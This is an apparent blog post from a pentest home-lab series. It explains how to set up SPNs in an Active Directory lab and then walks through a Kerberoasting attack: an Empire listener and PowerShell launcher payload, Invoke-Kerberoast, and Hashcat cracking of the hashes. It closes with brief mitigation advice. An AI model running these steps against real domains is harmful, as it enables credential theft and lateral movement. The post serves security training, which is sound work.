Pentest Home Lab - 0x3 - Kerberoasting: Creating SPNs so you can roast them

TL;DR

There are a lot of great blogs out there that show you how to Kerberoast.  In this post, I'm going to walk through the process of setting up your lab so that you can practice this attack.  This involves creating a domain user and then mapping a SPN to that account. After that, I'll walk through using Empire to launch Invoke-Kerberoast, and I'll crack the hashes offline with Hashcat.

Pentest Home Lab Recap

If you don't already have an Active Directory lab and want to build one so that you can play along, check out my previous posts:

• Pentest Home Lab - 0x0 - Building A Virtual Corporate Domain 
• Pentest Home Lab - 0x1 - Building Your AD Lab on AWS
• Pentest Home Lab - 0x2 - Building Your AD Lab on Premises using Proxmox VE

The Attack: Kerberoasting

Attack Goals

Domain privesc & lateral movement.  If you have domain credentials and access to the domain, this is a relatively easy way to gain additional access within the domain. If all goes well, you'll end up with new domain credentials that might have administrative access to additional resources.

Attack Prerequisites

In order to Kerberoast, you either need to have:

• Interactive access to a domain connected machine (you are logged on)
• Remote access to a domain connected machine via Metasploit, Empire, CobaltStrike, etc.
• A valid set of domain credentials and be on the network (Impacket, Crackmapexec, etc.)

Common ways you get this type of access are:

• You phished someone
• You gained physical access to an unlocked machine
• You have network access and performed LLMNR/NBT-NS spoofing with a tool like Responder to get domain credentials

Creating SPNs in your Lab

Before creating our SPN, lets briefly review what a SPN is, in Microsoft's words:

"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. This allows a client application to request that the service authenticate an account even if the client does not have the account name." 

Source: https://msdn.microsoft.com/en-us/library/ms677949(v=vs.85).aspx

I used to think you needed to install a service like IIS or SQL Server in order to set this up in your lab. Good news: Setting this up in the lab is much easier than that. All you need to do is execute the setspn command as an domain administrator and map a SPN to a valid account. 

Step 1 - Create a new domain account for the test

If using powershell to create the user, you'll need to run this from the domain controller or another machine that has the ActiveDirectory powershell module installed. You'll also need to run this as an domain administrator or another account that has rights to add a new user:

PS C:\> New-ADuser -Name "<user_name>" -SamAccountName <user_name> -Enabled $true -AccountPassword(Read-host -AsSecureString "AccountPassword")
AccountPassword: <Password here>

Step 2 - Use setspn to create a SPN and map it to your new account

PS C:\> setspn -A <user_name>/<hostname>.<domain>:<port> <user_name>

Step 3 (Optional) - Verify your SPN was created

PS C:\> setspn -Q */* | findstr <user_name>

That was easier than expected, right?  Another lesson I learned along the way:  You can create a SPN for a service that does not exist. For instance, you can do this:

PS C:\> setspn -A TEST/test IIS_008

TEST/test is not a real service, but IIS_008 is a real user, so the SPN is created and you can now use it to crack IIS_008's password.

Attack Walk through

Here are some posts that helped me wrap my head around this attack: 

KERBEROASTING - PART 1, Part 2, Part 3 - Mubix

Kerberoasting Without Mimikatz - harmj0y

Springtime Kerberoasting

Attacking Microsoft Kerberos Kicking the Guard Dog of Hades Tim Medin

As you will find in all of those great posts (and many others), there are lots of different tools that you can use to perform the Kerberoast attack. This part has been widely covered, but I still want to include the attack walk-through in this post for completeness. I'll quickly walk the what I consider to be really easy, reliable way to execute this attack in your lab:

Step 1 - Install or update Empire

Install: 

root@Kali-Rolling:~# cd /opt/

root@Kali-Rolling:/opt# git clone https://github.com/EmpireProject/Empire.git

root@Kali-Rolling:~# cd /opt/Empire/setup/

root@Kali-Rolling:/opt/Empire/setup# ./install.sh

root@Kali-Rolling:/opt/Empire/setup# cd ..

root@Kali-Rolling:/opt/Empire# ./empire

Updating:
*If you have Empire installed but you have not updated Empire since 8/31/2017, git pull to current. There were some bug fixes and improvements made to the Invoke-Kerberoast module between the 27th and the 31st. You'll likely have to rerun the install script (make a backup first) as there were some major changes in v2.1 that require new dependencies.

Step 2 - Start Empire, generate powershell payload

(Empire) > listeners

(Empire: listeners) > uselistener http
(Empire: listeners/http) > info
(Empire: listeners/http) > set Host http://<ip>:<port>

(Empire: listeners/http) > info

(Empire: listeners/http) > execute

(Empire: listeners/http) > launcher powershell

If you have any questions about setting this up, check out https://www.powershellempire.com/?page_id=110, leave a comment here, or both :)

Step 3 - Execute payload on the domain connected victim machine as a low level user

1) Log into workstation in the lab as a low level domain user

2) Execute the powershell command generated by Empire

Step 4 - Back on your attack box, interact with victim and execute Invoke-Kerberoast

(Empire: listeners/http) > main

(Empire) > interact <tab complete to find your agent ID>

(Empire: ADY86TPS) > usemodule credentials/invoke_kerberoast

(Empire: powershell/credentials/invoke_kerberoast) > set OutputFormat Hashcat

(Empire: powershell/credentials/invoke_kerberoast) > run

Step 5 - Crack hash with Hashcat

Copy the hashes that Empire spits out into a text file on your password cracker, and let it rip:

root@cracker:/opt/hashcat-3.30# ./hashcat64.bin -m 13100 -r rules/<rules_file> <path to hashes file> <path to wordlist>

And here is a cracked domain account (if you scroll up to the top of that hash on your own machine, you will see the username of the hash you just cracked. 

Wrap Up

You did it. You created a SPN in your active directory lab, you used the Kerberoast attack pull out a password hash, and you cracked the password hash with Hashcat.  Feel free to create some more to make the attack feel more realistic.    

How does an organization prevent this from happening?  

• Make sure all accounts that have a SPN tied to them (usually service accounts) have a difficult to crack password.  Something random and long.  
• Disable interactive login whenever you can for service accounts.  That password doesn't do us nearly as much good if interactive login is disabled and we can't connect to a server with it.  

For a much more detailed remediation and detection recommendations, check out Sean Metcalf's blog post: Detecting Kerberoasting Activity, specifically the section: Mitigating Kerberoast Attack Activity